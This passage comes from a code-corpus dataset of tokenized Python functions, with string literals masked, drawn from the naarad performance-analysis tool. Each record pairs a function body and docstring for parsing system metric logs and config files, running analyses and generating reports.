csvf:<EOL><INDENT>csvf.write('<STR_LIT:\\n>'.join(sorted(data[csv])))<EOL><DEDENT><DEDENT>return True<EOL>", "docstring": "Processes the files for each IRQ and each CPU in terms of the differences.\nAlso produces accumulated interrupt count differences for each set of Ethernet IRQs.\nGenerally Ethernet has 8 TxRx IRQs thus all are combined so that one can see the overall interrupts being generated by the NIC.\n\nSimplified Interrupt File Format: (See examples for example log)\n\n                                    CPU0   CPU1\n  2014-10-29 00:27:42.15161    59:    29      2    IR-IO-APIC-edge    timer\n  2014-10-29 00:27:42.15161    60:  2123      0    IR-PCI-MSI-edge    eth0\n\n                                    CPU0   CPU1\n  2014-10-29 00:27:42.15161    59:    29      2    IR-IO-APIC-edge    timer\n  2014-10-29 00:27:42.15161    60:  2123      0    IR-PCI-MSI-edge    eth0\n\n:returns: True or False whether parsing was successful or not.", "id": "f7873:c0:m4"}
{"signature": "def parse(self):", "body": "file_status = True<EOL>for input_file in self.infile_list:<EOL><INDENT>file_status = file_status and naarad.utils.is_valid_file(input_file)<EOL>if not file_status:<EOL><INDENT>return False<EOL><DEDENT><DEDENT>status = True<EOL>cur_zone = None<EOL>cur_submetric = None<EOL>cur_value = None<EOL>data = {}  <EOL>for input_file in self.infile_list:<EOL><INDENT>logger.info('<STR_LIT>', input_file)<EOL>timestamp_format = None<EOL>with open(input_file) as fh:<EOL><INDENT>for line in fh:<EOL><INDENT>words = line.replace('<STR_LIT:U+002C>', '<STR_LIT:U+0020>').split()           <EOL>if len(words) < <NUM_LIT:3>:<EOL><INDENT>continue<EOL><DEDENT>ts = words[<NUM_LIT:0>] + \"<STR_LIT:U+0020>\" + words[<NUM_LIT:1>]<EOL>if not timestamp_format or timestamp_format == '<STR_LIT>':<EOL><INDENT>timestamp_format = naarad.utils.detect_timestamp_format(ts)<EOL><DEDENT>if timestamp_format == '<STR_LIT>':<EOL><INDENT>continue<EOL><DEDENT>ts = naarad.utils.get_standardized_timestamp(ts, timestamp_format)<EOL>if self.ts_out_of_range(ts):<EOL><INDENT>continue<EOL><DEDENT>if words[<NUM_LIT:2>] == '<STR_LIT>':  <EOL><INDENT>cols = words[<NUM_LIT:2>:]<EOL>cur_zone = '<STR_LIT:.>'.join(cols)<EOL>continue<EOL><DEDENT>elif words[<NUM_LIT:2>] == '<STR_LIT>':  <EOL><INDENT>cur_submetric = words[<NUM_LIT:2>] + '<STR_LIT:.>' + words[<NUM_LIT:3>]  <EOL>cur_value = words[<NUM_LIT:4>]<EOL><DEDENT>elif words[<NUM_LIT:2>] in self.processed_sub_metrics:<EOL><INDENT>cur_submetric = '<STR_LIT>' + '<STR_LIT:.>' + words[<NUM_LIT:2>]  <EOL>cur_value = words[<NUM_LIT:3>]<EOL><DEDENT>elif words[<NUM_LIT:2>] in self.skipped_sub_metrics:<EOL><INDENT>continue<EOL><DEDENT>else:   <EOL><INDENT>cur_submetric = words[<NUM_LIT:2>]<EOL>cur_value = words[<NUM_LIT:3>]<EOL><DEDENT>col = cur_zone + '<STR_LIT:.>' + cur_submetric  <EOL>if cur_zone and self.zones and cur_zone not in self.zones:<EOL><INDENT>continue<EOL><DEDENT>self.sub_metric_unit[col] = '<STR_LIT>'  <EOL>if self.sub_metrics and cur_submetric and cur_submetric not in self.sub_metrics:<EOL><INDENT>continue<EOL><DEDENT>if col in self.column_csv_map:<EOL><INDENT>out_csv = self.column_csv_map[col]<EOL><DEDENT>else:<EOL><INDENT>out_csv = self.get_csv(col)   <EOL>data[out_csv] = []<EOL><DEDENT>data[out_csv].append(ts + \"<STR_LIT:U+002C>\" + cur_value)<EOL><DEDENT><DEDENT><DEDENT>for csv in data.keys():<EOL><INDENT>self.csv_files.append(csv)<EOL>with open(csv, '<STR_LIT:w>') as fh:<EOL><INDENT>fh.write('<STR_LIT:\\n>'.join(sorted(data[csv])))<EOL><DEDENT><DEDENT>return status<EOL>", "docstring": "Parse the vmstat file\n:return: status of the metric parse", "id": "f7874:c0:m1"}
{"signature": "def extract_metric_name(self, metric_name):", "body": "for metric_type in self.supported_sar_types:<EOL><INDENT>if metric_type in metric_name:<EOL><INDENT>return metric_type<EOL><DEDENT><DEDENT>logger.error('<STR_LIT>'<EOL>'<STR_LIT>', metric_name, self.supported_sar_types)<EOL>return '<STR_LIT>'<EOL>", "docstring": "Method to extract SAR metric names from the section given in the config. The SARMetric class assumes that\nthe section name will contain the SAR types listed in self.supported_sar_types tuple\n\n:param str metric_name: Section name from the config\n:return: str which identifies what kind of SAR metric the section represents", "id": "f7875:c0:m1"}
{"signature": "def create_analysis(self, config):", "body": "self._default_test_id += <NUM_LIT:1><EOL>self._analyses[self._default_test_id] = _Analysis(ts_start=None, config=config, test_id=self._default_test_id)<EOL>", "docstring": "Create Analysis and save in Naarad from config\n:param config:\n:return:", "id": "f7877:c1:m1"}
{"signature": "def get_failed_analyses(self):", "body": "failed_analyses = []<EOL>for test_id in self._analyses.keys():<EOL><INDENT>if self._analyses[test_id].status != CONSTANTS.OK:<EOL><INDENT>failed_analyses.append(test_id)<EOL><DEDENT><DEDENT>return failed_analyses<EOL>", "docstring": "Returns a list of test_id for which naarad analysis failed\n:return: list of test_ids", "id": "f7877:c1:m4"}
{"signature": "def _create_output_directories(self, analysis):", "body": "try:<EOL><INDENT>os.makedirs(analysis.output_directory)<EOL><DEDENT>except OSError as exception:<EOL><INDENT>if exception.errno != errno.EEXIST:<EOL><INDENT>raise<EOL><DEDENT><DEDENT>try:<EOL><INDENT>resource_directory = os.path.join(analysis.output_directory, analysis.resource_path)<EOL>os.makedirs(resource_directory)<EOL><DEDENT>except OSError as exception:<EOL><INDENT>if exception.errno != errno.EEXIST:<EOL><INDENT>raise<EOL><DEDENT><DEDENT>", "docstring": "Create the necessary output and resource directories for the specified analysis\n:param: analysis: analysis associated with a given test_id", "id": "f7877:c1:m9"}
{"signature": "def _run_pre(self, analysis, run_steps):", "body": "workload_run_steps = []<EOL>for run_step in sorted(run_steps, key=lambda step: step.run_rank):<EOL><INDENT>run_step.run()<EOL>if run_step.run_type == CONSTANTS.RUN_TYPE_WORKLOAD:<EOL><INDENT>workload_run_steps.append(run_step)<EOL><DEDENT><DEDENT>if len(workload_run_steps) > <NUM_LIT:0>:<EOL><INDENT>analysis.ts_start, analysis.ts_end = naarad.utils.get_run_time_period(workload_run_steps)<EOL><DEDENT>return CONSTANTS.OK<EOL>", "docstring": "If Naarad is run in CLI mode, execute any pre run steps specified in the config. ts_start/ts_end are set based on\nworkload run steps if any.\n:param: analysis: The analysis object being processed\n:param: run_steps: list of post run steps", "id": "f7877:c1:m10"}
{"signature": "def _run_post(self, run_steps):", "body": "for run_step in sorted(run_steps, key=lambda step: step.run_rank):<EOL><INDENT>run_step.run()<EOL><DEDENT>return CONSTANTS.OK<EOL>", "docstring": "If Naarad is run in CLI mode, execute any post run steps specified in the config\n:param: run_steps: list of post run steps", "id": "f7877:c1:m11"}
{"signature": "def _process_args(self, analysis, args):", "body": "if args.exit_code:<EOL><INDENT>self.return_exit_code = args.exit_code<EOL><DEDENT>if args.no_plots:<EOL><INDENT>self.skip_plots = args.no_plots<EOL><DEDENT>if args.start:<EOL><INDENT>analysis.ts_start = naarad.utils.get_standardized_timestamp(args.start, None)<EOL><DEDENT>if args.end:<EOL><INDENT>analysis.ts_end = naarad.utils.get_standardized_timestamp(args.end, None)<EOL><DEDENT>if args.variables:<EOL><INDENT>analysis.variables = naarad.utils.get_variables(args)<EOL><DEDENT>return CONSTANTS.OK<EOL>", "docstring": "When Naarad is run in CLI mode, get the CL arguments and update the analysis\n:param: analysis: The analysis being processed\n:param: args: Command Line Arguments received by naarad", "id": "f7877:c1:m12"}
{"signature": "def analyze(self, input_directory, output_directory, **kwargs):", "body": "is_api_call = True<EOL>if len(self._analyses) == <NUM_LIT:0>:<EOL><INDENT>if '<STR_LIT>' not in kwargs.keys():<EOL><INDENT>return CONSTANTS.ERROR<EOL><DEDENT>self.create_analysis(kwargs['<STR_LIT>'])<EOL><DEDENT>if '<STR_LIT:args>' in kwargs:<EOL><INDENT>self._process_args(self._analyses[<NUM_LIT:0>], kwargs['<STR_LIT:args>'])<EOL>is_api_call = False<EOL><DEDENT>error_count = <NUM_LIT:0><EOL>self._input_directory = input_directory<EOL>self._output_directory = output_directory<EOL>for test_id in sorted(self._analyses.keys()):<EOL><INDENT>if not self._analyses[test_id].input_directory:<EOL><INDENT>self._analyses[test_id].input_directory = input_directory<EOL><DEDENT>if not self._analyses[test_id].output_directory:<EOL><INDENT>if len(self._analyses) > <NUM_LIT:1>:<EOL><INDENT>self._analyses[test_id].output_directory = os.path.join(output_directory, str(test_id))<EOL><DEDENT>else:<EOL><INDENT>self._analyses[test_id].output_directory = output_directory<EOL><DEDENT><DEDENT>if('<STR_LIT>' in kwargs.keys()) and (not self._analyses[test_id].config):<EOL><INDENT>self._analyses[test_id].config = kwargs['<STR_LIT>']<EOL><DEDENT>self._create_output_directories(self._analyses[test_id])<EOL>self._analyses[test_id].status = self.run(self._analyses[test_id], is_api_call, **kwargs)<EOL>if self._analyses[test_id].status != CONSTANTS.OK:<EOL><INDENT>error_count += <NUM_LIT:1><EOL><DEDENT><DEDENT>if len(self._analyses) == <NUM_LIT:1>:<EOL><INDENT>return self._analyses[<NUM_LIT:0>].status<EOL><DEDENT>elif error_count > <NUM_LIT:0>:<EOL><INDENT>return CONSTANTS.ERROR<EOL><DEDENT>else:<EOL><INDENT>return CONSTANTS.OK<EOL><DEDENT>", "docstring": "Run all the analysis saved in self._analyses, sorted by test_id.\nThis is useful when Naarad() is used by other programs and multiple analyses are run\nIn naarad CLI mode, len(_analyses) == 1\n:param: input_directory: location of log files\n:param: output_directory: root directory for analysis output\n:param: **kwargs: Optional keyword args\n:return: int: status code.", "id": "f7877:c1:m13"}
{"signature": "def run(self, analysis, is_api_call, **kwargs):", "body": "threads = []<EOL>crossplots = []<EOL>report_args = {}<EOL>metrics = defaultdict()<EOL>run_steps = defaultdict(list)<EOL>discovery_mode = False<EOL>graph_timezone = None<EOL>graphing_library = None<EOL>if isinstance(analysis.config, str):<EOL><INDENT>if not naarad.utils.is_valid_file(analysis.config):<EOL><INDENT>return CONSTANTS.INVALID_CONFIG<EOL><DEDENT>config_object = ConfigParser.ConfigParser(analysis.variables)<EOL>config_object.optionxform = str<EOL>config_object.read(analysis.config)<EOL><DEDENT>elif isinstance(analysis.config, ConfigParser.ConfigParser):<EOL><INDENT>config_object = analysis.config<EOL><DEDENT>else:<EOL><INDENT>if is_api_call:<EOL><INDENT>return CONSTANTS.INVALID_CONFIG<EOL><DEDENT>else:<EOL><INDENT>metrics['<STR_LIT>'] = naarad.utils.discover_by_name(analysis.input_directory, analysis.output_directory)<EOL>if len(metrics['<STR_LIT>']) == <NUM_LIT:0>:<EOL><INDENT>logger.warning('<STR_LIT>', analysis.input_directory)<EOL>return CONSTANTS.ERROR<EOL><DEDENT>else:<EOL><INDENT>discovery_mode = True<EOL>metrics['<STR_LIT>'] = []<EOL><DEDENT><DEDENT><DEDENT>if not discovery_mode:<EOL><INDENT>metrics, run_steps, crossplots, report_args, graph_timezone, graphing_library = self._process_naarad_config(config_object, analysis)<EOL><DEDENT>if graphing_library is None:<EOL><INDENT>graphing_library = CONSTANTS.DEFAULT_GRAPHING_LIBRARY<EOL><DEDENT>if graphing_library not in self.available_graphing_modules.keys():<EOL><INDENT>logger.error(\"<STR_LIT>\", graphing_library)<EOL>self.skip_plots = True<EOL><DEDENT>if not is_api_call:<EOL><INDENT>self._run_pre(analysis, run_steps['<STR_LIT>'])<EOL><DEDENT>for metric in metrics['<STR_LIT>']:<EOL><INDENT>if analysis.ts_start:<EOL><INDENT>metric.ts_start = analysis.ts_start<EOL><DEDENT>if analysis.ts_end:<EOL><INDENT>metric.ts_end = analysis.ts_end<EOL><DEDENT>thread = threading.Thread(target=naarad.utils.parse_and_plot_single_metrics,<EOL>args=(metric, graph_timezone, analysis.output_directory, analysis.input_directory, graphing_library, self.skip_plots))<EOL>thread.start()<EOL>threads.append(thread)<EOL><DEDENT>for t in threads:<EOL><INDENT>t.join()<EOL><DEDENT>for metric in metrics['<STR_LIT>']:<EOL><INDENT>thread = threading.Thread(target=naarad.utils.parse_and_plot_single_metrics,<EOL>args=(metric, graph_timezone, analysis.output_directory, analysis.input_directory, graphing_library, self.skip_plots))<EOL>thread.start()<EOL>threads.append(thread)<EOL><DEDENT>for t in threads:<EOL><INDENT>t.join()<EOL><DEDENT>self._set_sla_data(analysis.test_id, metrics['<STR_LIT>'] + metrics['<STR_LIT>'])<EOL>self._set_stats_data(analysis.test_id, metrics['<STR_LIT>'] + metrics['<STR_LIT>'])<EOL>if len(crossplots) > <NUM_LIT:0> and not self.skip_plots:<EOL><INDENT>correlated_plots = naarad.utils.nway_plotting(crossplots, metrics['<STR_LIT>'] + metrics['<STR_LIT>'],<EOL>os.path.join(analysis.output_directory, analysis.resource_path),<EOL>analysis.resource_path, graphing_library)<EOL><DEDENT>else:<EOL><INDENT>correlated_plots = []<EOL><DEDENT>rpt = reporting_modules['<STR_LIT>'](None, analysis.output_directory, os.path.join(analysis.output_directory, analysis.resource_path), analysis.resource_path,<EOL>metrics['<STR_LIT>'] + metrics['<STR_LIT>'], correlated_plots=correlated_plots, **report_args)<EOL>rpt.generate()<EOL>if not is_api_call:<EOL><INDENT>self._run_post(run_steps['<STR_LIT>'])<EOL><DEDENT>if self.return_exit_code:<EOL><INDENT>for metric in metrics['<STR_LIT>'] + metrics['<STR_LIT>']:<EOL><INDENT>if metric.status == CONSTANTS.SLA_FAILED:<EOL><INDENT>return CONSTANTS.SLA_FAILURE<EOL><DEDENT><DEDENT><DEDENT>return CONSTANTS.OK<EOL>", "docstring": ":param analysis: Run naarad analysis for the specified analysis object\n:param **kwargs: Additional keyword args can be passed in here for future enhancements\n:return:", "id": "f7877:c1:m14"}
{"signature": "def diff_reports_by_location(self, report1_location, report2_location, output_directory, config=None, **kwargs):", "body": "if kwargs:<EOL><INDENT>if '<STR_LIT>' in kwargs.keys():<EOL><INDENT>output_directory = kwargs['<STR_LIT>']<EOL><DEDENT><DEDENT>diff_report = Diff([NaaradReport(report1_location, None), NaaradReport(report2_location, None)], '<STR_LIT>',<EOL>output_directory, os.path.join(output_directory, self._resource_path), self._resource_path)<EOL>if config:<EOL><INDENT>naarad.utils.extract_diff_sla_from_config_file(diff_report, config)<EOL><DEDENT>diff_report.generate()<EOL>if diff_report.sla_failures > <NUM_LIT:0>:<EOL><INDENT>return CONSTANTS.SLA_FAILURE<EOL><DEDENT>if diff_report.status != '<STR_LIT:OK>':<EOL><INDENT>return CONSTANTS.ERROR<EOL><DEDENT>return CONSTANTS.OK<EOL>", "docstring": "Create a diff report using report1 as a baseline\n:param: report1_location: report to be used as baseline\n:param: report2_location: report to compare against baseline\n:param: config file for diff (optional)\n:param: **kwargs: keyword arguments", "id": "f7877:c1:m16"}
{"signature": "def _process_naarad_config(self, config, analysis):", "body": "graph_timezone = None<EOL>output_directory = analysis.output_directory<EOL>resource_path = analysis.resource_path<EOL>run_steps = defaultdict(list)<EOL>metrics = defaultdict(list)<EOL>indir_default = '<STR_LIT>'<EOL>crossplots = []<EOL>report_args = {}<EOL>graphing_library = None<EOL>ts_start, ts_end = None, None<EOL>if config.has_section('<STR_LIT>'):<EOL><INDENT>ts_start, ts_end = naarad.utils.parse_global_section(config, '<STR_LIT>')<EOL>if config.has_option('<STR_LIT>', '<STR_LIT>'):<EOL><INDENT>naarad.utils.parse_user_defined_metric_classes(config, metric_classes)<EOL><DEDENT>config.remove_section('<STR_LIT>')<EOL><DEDENT>if config.has_section('<STR_LIT>'):<EOL><INDENT>report_args = naarad.utils.parse_report_section(config, '<STR_LIT>')<EOL>config.remove_section('<STR_LIT>')<EOL><DEDENT>for section in config.sections():<EOL><INDENT>if section == '<STR_LIT>':<EOL><INDENT>graphing_library, crossplots, outdir_default, indir_default, graph_timezone =naarad.utils.parse_graph_section(config, section, output_directory, indir_default)<EOL><DEDENT>elif section.startswith('<STR_LIT>'):<EOL><INDENT>run_step = naarad.utils.parse_run_step_section(config, section)<EOL>if not run_step:<EOL><INDENT>logger.error('<STR_LIT>', section)<EOL>continue<EOL><DEDENT>if run_step.run_order == CONSTANTS.PRE_ANALYSIS_RUN:<EOL><INDENT>run_steps['<STR_LIT>'].append(run_step)<EOL><DEDENT>elif run_step.run_order == CONSTANTS.DURING_ANALYSIS_RUN:<EOL><INDENT>run_steps['<STR_LIT>'].append(run_step)<EOL><DEDENT>elif run_step.run_order == CONSTANTS.POST_ANALYSIS_RUN:<EOL><INDENT>run_steps['<STR_LIT>'].append(run_step)<EOL><DEDENT>else:<EOL><INDENT>logger.error('<STR_LIT>')<EOL><DEDENT><DEDENT>else:<EOL><INDENT>if not naarad.utils.is_valid_metric_name(section):<EOL><INDENT>logger.critical('<STR_LIT>'<EOL>% section)<EOL>return CONSTANTS.CRITICAL_FAILURE<EOL><DEDENT>if section == '<STR_LIT>':<EOL><INDENT>hostname, infile, label, ts_start, ts_end, precision, kwargs, rule_strings =naarad.utils.parse_basic_metric_options(config, section)<EOL>sar_metrics = naarad.utils.get_all_sar_objects(metrics, infile, hostname, output_directory, label, ts_start,<EOL>ts_end, None)<EOL>for sar_metric in sar_metrics:<EOL><INDENT>if sar_metric.ts_start is None and (sar_metric.ts_end is None or sar_metric.ts_end > ts_start):<EOL><INDENT>sar_metric.ts_start = ts_start<EOL><DEDENT>if sar_metric.ts_end is None and (sar_metric.ts_start is None or ts_end > sar_metric.ts_start):<EOL><INDENT>sar_metric.ts_end = ts_end<EOL><DEDENT><DEDENT>metrics['<STR_LIT>'].extend(sar_metrics)<EOL><DEDENT>else:<EOL><INDENT>new_metric = naarad.utils.parse_metric_section(config, section, metric_classes, metrics['<STR_LIT>'],<EOL>aggregate_metric_classes, output_directory, resource_path)<EOL>if new_metric.ts_start is None and (new_metric.ts_end is None or new_metric.ts_end > ts_start):<EOL><INDENT>new_metric.ts_start = ts_start<EOL><DEDENT>if new_metric.ts_end is None and (new_metric.ts_start is None or ts_end > new_metric.ts_start):<EOL><INDENT>new_metric.ts_end = ts_end<EOL><DEDENT>metric_type = section.split('<STR_LIT:->')[<NUM_LIT:0>]<EOL>if metric_type in aggregate_metric_classes:<EOL><INDENT>metrics['<STR_LIT>'].append(new_metric)<EOL><DEDENT>else:<EOL><INDENT>metrics['<STR_LIT>'].append(new_metric)<EOL><DEDENT><DEDENT><DEDENT><DEDENT>return metrics, run_steps, crossplots, report_args, graph_timezone, graphing_library<EOL>", "docstring": "Process the config file associated with a particular analysis and return metrics, run_steps and crossplots.\nAlso sets output directory and resource_path for an anlaysis", "id": "f7877:c1:m17"}
{"signature": "def parse_user_defined_metric_classes(config_obj, metric_classes):", "body": "user_defined_metric_list = config_obj.get('<STR_LIT>', '<STR_LIT>').split()<EOL>for udm_string in user_defined_metric_list:<EOL><INDENT>try:<EOL><INDENT>metric_name, metric_class_name, metric_file = udm_string.split('<STR_LIT::>')<EOL><DEDENT>except ValueError:<EOL><INDENT>logger.error('<STR_LIT>')<EOL>continue<EOL><DEDENT>module_name = os.path.splitext(os.path.basename(metric_file))[<NUM_LIT:0>]<EOL>try:<EOL><INDENT>new_module = imp.load_source(module_name, metric_file)<EOL>new_class = getattr(new_module, metric_class_name)<EOL>if metric_name in metric_classes.keys():<EOL><INDENT>logger.warn('<STR_LIT>', metric_name)<EOL><DEDENT>metric_classes[metric_name] = new_class<EOL><DEDENT>except ImportError:<EOL><INDENT>logger.error('<STR_LIT>', metric_name)<EOL>continue<EOL><DEDENT><DEDENT>", "docstring": "Parse the user defined metric class information\n:param config_obj: ConfigParser object\n:param metric_classes: list of metric classes to be updated\n:return:", "id": "f7878:m1"}
{"signature": "def is_valid_url(url):", "body": "regex = re.compile(r'<STR_LIT>'<EOL>r'<STR_LIT>'<EOL>r'<STR_LIT>'<EOL>r'<STR_LIT>'<EOL>r'<STR_LIT>'<EOL>r'<STR_LIT>', re.IGNORECASE)<EOL>if regex.match(url):<EOL><INDENT>logger.info(\"<STR_LIT>\")<EOL>return True<EOL><DEDENT>else:<EOL><INDENT>return False<EOL><DEDENT>", "docstring": "Check if a given string is in the correct URL format or not\n\n:param str url:\n:return: True or False", "id": "f7878:m2"}
{"signature": "def download_file(url):", "body": "try:<EOL><INDENT>(local_file, headers) = urllib.urlretrieve(url)<EOL><DEDENT>except:<EOL><INDENT>sys.exit(\"<STR_LIT>\" + url + \"<STR_LIT>\")<EOL><DEDENT>return local_file<EOL>", "docstring": "Download a file pointed to by url to a temp file on local disk\n\n:param str url:\n:return: local_file", "id": "f7878:m3"}
{"signature": "def is_valid_metric_name(metric_name):", "body": "reg = re.compile('<STR_LIT>')<EOL>if reg.match(metric_name) and not metric_name.startswith('<STR_LIT:.>'):<EOL><INDENT>return True<EOL><DEDENT>else:<EOL><INDENT>return False<EOL><DEDENT>", "docstring": "check the validity of metric_name in config; the metric_name will be used for creation of sub-dir, so only contains: alphabet, digits , '.', '-' and '_'\n:param str metric_name: metric_name\n:return: True if valid", "id": "f7878:m5"}
{"signature": "def get_run_time_period(run_steps):", "body": "init_ts_start = get_standardized_timestamp('<STR_LIT>', None)<EOL>ts_start = init_ts_start<EOL>ts_end = '<STR_LIT:0>'<EOL>for run_step in run_steps:<EOL><INDENT>if run_step.ts_start and run_step.ts_end:<EOL><INDENT>if run_step.ts_start < ts_start:<EOL><INDENT>ts_start = run_step.ts_start<EOL><DEDENT>if run_step.ts_end > ts_end:<EOL><INDENT>ts_end = run_step.ts_end<EOL><DEDENT><DEDENT><DEDENT>if ts_end == '<STR_LIT:0>':<EOL><INDENT>ts_end = None<EOL><DEDENT>if ts_start == init_ts_start:<EOL><INDENT>ts_start = None<EOL><DEDENT>logger.info('<STR_LIT>' + str(ts_start) + '<STR_LIT>' + str(ts_end))<EOL>return ts_start, ts_end<EOL>", "docstring": "This method finds the time range which covers all the Run_Steps\n\n:param run_steps: list of Run_Step objects\n:return: tuple of start and end timestamps", "id": "f7878:m6"}
{"signature": "def get_rule_strings(config_obj, section):", "body": "rule_strings = {}<EOL>kwargs = dict(config_obj.items(section))<EOL>for key in kwargs.keys():<EOL><INDENT>if key.endswith('<STR_LIT>'):<EOL><INDENT>rule_strings[key.replace('<STR_LIT>', '<STR_LIT>')] = kwargs[key]<EOL>del kwargs[key]<EOL><DEDENT><DEDENT>return rule_strings, kwargs<EOL>", "docstring": "Extract rule strings from a section\n:param config_obj: ConfigParser object\n:param section: Section name\n:return: the rule strings", "id": "f7878:m7"}
{"signature": "def extract_diff_sla_from_config_file(obj, options_file):", "body": "rule_strings = {}<EOL>config_obj = ConfigParser.ConfigParser()<EOL>config_obj.optionxform = str<EOL>config_obj.read(options_file)<EOL>for section in config_obj.sections():<EOL><INDENT>rule_strings, kwargs = get_rule_strings(config_obj, section)<EOL>for (key, val) in rule_strings.iteritems():<EOL><INDENT>set_sla(obj, section, key, val)<EOL><DEDENT><DEDENT>", "docstring": "Helper function to parse diff config file, which contains SLA rules for diff comparisons", "id": "f7878:m8"}
{"signature": "def parse_basic_metric_options(config_obj, section):", "body": "infile = {}<EOL>aggr_hosts = None<EOL>aggr_metrics = None<EOL>ts_start = None<EOL>ts_end = None<EOL>precision = None<EOL>hostname = \"<STR_LIT:localhost>\"<EOL>rule_strings = {}<EOL>important_sub_metrics = None<EOL>anomaly_detection_metrics = None<EOL>try:<EOL><INDENT>if config_obj.has_option(section, '<STR_LIT>'):<EOL><INDENT>important_sub_metrics = config_obj.get(section, '<STR_LIT>').split()<EOL>config_obj.remove_option(section, '<STR_LIT>')<EOL><DEDENT>if config_obj.has_option(section, '<STR_LIT>'):<EOL><INDENT>hostname = config_obj.get(section, '<STR_LIT>')<EOL>config_obj.remove_option(section, '<STR_LIT>')<EOL><DEDENT>if config_obj.has_option(section, '<STR_LIT>'):<EOL><INDENT>infile = config_obj.get(section, '<STR_LIT>').split()<EOL>config_obj.remove_option(section, '<STR_LIT>')<EOL><DEDENT>label = sanitize_string_section_name(section)<EOL>if config_obj.has_option(section, '<STR_LIT>'):<EOL><INDENT>ts_start = get_standardized_timestamp(config_obj.get(section, '<STR_LIT>'), None)<EOL>config_obj.remove_option(section, '<STR_LIT>')<EOL><DEDENT>if config_obj.has_option(section, '<STR_LIT>'):<EOL><INDENT>ts_end = get_standardized_timestamp(config_obj.get(section, '<STR_LIT>'), None)<EOL>config_obj.remove_option(section, '<STR_LIT>')<EOL><DEDENT>if config_obj.has_option(section, '<STR_LIT>'):<EOL><INDENT>precision = config_obj.get(section, '<STR_LIT>')<EOL>config_obj.remove_option(section, '<STR_LIT>')<EOL><DEDENT>if config_obj.has_option(section, '<STR_LIT>'):<EOL><INDENT>aggr_hosts = config_obj.get(section, '<STR_LIT>')<EOL>config_obj.remove_option(section, '<STR_LIT>')<EOL><DEDENT>if config_obj.has_option(section, '<STR_LIT>'):<EOL><INDENT>aggr_metrics = config_obj.get(section, '<STR_LIT>')<EOL>config_obj.remove_option(section, '<STR_LIT>')<EOL><DEDENT>if config_obj.has_option(section, '<STR_LIT>'):<EOL><INDENT>anomaly_detection_metrics = config_obj.get(section, '<STR_LIT>').split()<EOL>config_obj.remove_option(section, '<STR_LIT>')<EOL><DEDENT>rule_strings, other_options = get_rule_strings(config_obj, section)<EOL><DEDENT>except ConfigParser.NoOptionError:<EOL><INDENT>logger.exception(\"<STR_LIT>\" + section)<EOL>sys.exit()<EOL><DEDENT>return (hostname, infile, aggr_hosts, aggr_metrics, label, ts_start, ts_end, precision, aggr_metrics, other_options,<EOL>rule_strings, important_sub_metrics, anomaly_detection_metrics)<EOL>", "docstring": "Parse basic options from metric sections of the config\n:param config_obj: ConfigParser object\n:param section: Section name\n:return: all the parsed options", "id": "f7878:m9"}
{"signature": "def parse_metric_section(config_obj, section, metric_classes, metrics, aggregate_metric_classes, outdir_default, resource_path):", "body": "(hostname, infile, aggr_hosts, aggr_metrics, label, ts_start, ts_end, precision, aggr_metrics, other_options,<EOL>rule_strings, important_sub_metrics, anomaly_detection_metrics) = parse_basic_metric_options(config_obj, section)<EOL>metric_type = section.split('<STR_LIT:->')[<NUM_LIT:0>]<EOL>if metric_type in aggregate_metric_classes:<EOL><INDENT>new_metric = initialize_aggregate_metric(section, aggr_hosts, aggr_metrics, metrics, outdir_default, resource_path, label, ts_start, ts_end, rule_strings,<EOL>important_sub_metrics, anomaly_detection_metrics, other_options)<EOL><DEDENT>else:<EOL><INDENT>new_metric = initialize_metric(section, infile, hostname, aggr_metrics, outdir_default, resource_path, label, ts_start, ts_end, rule_strings,<EOL>important_sub_metrics, anomaly_detection_metrics, other_options)<EOL><DEDENT>if config_obj.has_option(section, '<STR_LIT:ignore>') and config_obj.getint(section, '<STR_LIT:ignore>') == <NUM_LIT:1>:<EOL><INDENT>new_metric.ignore = True<EOL><DEDENT>if config_obj.has_option(section, '<STR_LIT>'):<EOL><INDENT>new_metric.calc_metrics = config_obj.get(section, '<STR_LIT>')<EOL><DEDENT>new_metric.precision = precision<EOL>return new_metric<EOL>", "docstring": "Parse a metric section and create a Metric object\n:param config_obj: ConfigParser object\n:param section: Section name\n:param metric_classes: List of valid metric types\n:param metrics: List of all regular metric objects (used by aggregate metric)\n:param aggregate_metric_classes: List of all valid aggregate metric types\n:param outdir_default: Default output directory\n:param resource_path: Default resource directory\n:return: An initialized Metric object", "id": "f7878:m10"}
{"signature": "def parse_global_section(config_obj, section):", "body": "ts_start = None<EOL>ts_end = None<EOL>if config_obj.has_option(section, '<STR_LIT>'):<EOL><INDENT>ts_start = get_standardized_timestamp(config_obj.get(section, '<STR_LIT>'), None)<EOL>config_obj.remove_option(section, '<STR_LIT>')<EOL><DEDENT>if config_obj.has_option(section, '<STR_LIT>'):<EOL><INDENT>ts_end = get_standardized_timestamp(config_obj.get(section, '<STR_LIT>'), None)<EOL>config_obj.remove_option(section, '<STR_LIT>')<EOL><DEDENT>return ts_start, ts_end<EOL>", "docstring": "Parse GLOBAL section in the config to return global settings\n:param config_obj: ConfigParser object\n:param section: Section name\n:return: ts_start and ts_end time", "id": "f7878:m11"}
{"signature": "def parse_run_step_section(config_obj, section):", "body": "kill_after_seconds = None<EOL>try:<EOL><INDENT>run_cmd = config_obj.get(section, '<STR_LIT>')<EOL>run_rank = int(config_obj.get(section, '<STR_LIT>'))<EOL><DEDENT>except ConfigParser.NoOptionError:<EOL><INDENT>logger.exception(\"<STR_LIT>\" + section)<EOL>sys.exit()<EOL><DEDENT>except ValueError:<EOL><INDENT>logger.error(\"<STR_LIT>\", config_obj.get(section, '<STR_LIT>'), section)<EOL>sys.exit()<EOL><DEDENT>if config_obj.has_option(section, '<STR_LIT>'):<EOL><INDENT>run_type = config_obj.get(section, '<STR_LIT>')<EOL><DEDENT>else:<EOL><INDENT>run_type = CONSTANTS.RUN_TYPE_WORKLOAD<EOL><DEDENT>if config_obj.has_option(section, '<STR_LIT>'):<EOL><INDENT>run_order = config_obj.get(section, '<STR_LIT>')<EOL><DEDENT>else:<EOL><INDENT>run_order = CONSTANTS.PRE_ANALYSIS_RUN<EOL><DEDENT>if config_obj.has_option(section, '<STR_LIT>'):<EOL><INDENT>call_type = config_obj.get(section, '<STR_LIT>')<EOL><DEDENT>else:<EOL><INDENT>call_type = '<STR_LIT>'<EOL><DEDENT>if config_obj.has_option(section, '<STR_LIT>'):<EOL><INDENT>try:<EOL><INDENT>kill_after_seconds = int(config_obj.get(section, '<STR_LIT>'))<EOL><DEDENT>except ValueError:<EOL><INDENT>logger.error(\"<STR_LIT>\", config_obj.get(section, '<STR_LIT>'), section)<EOL><DEDENT><DEDENT>if call_type == '<STR_LIT>':<EOL><INDENT>run_step_obj = Local_Cmd(run_type, 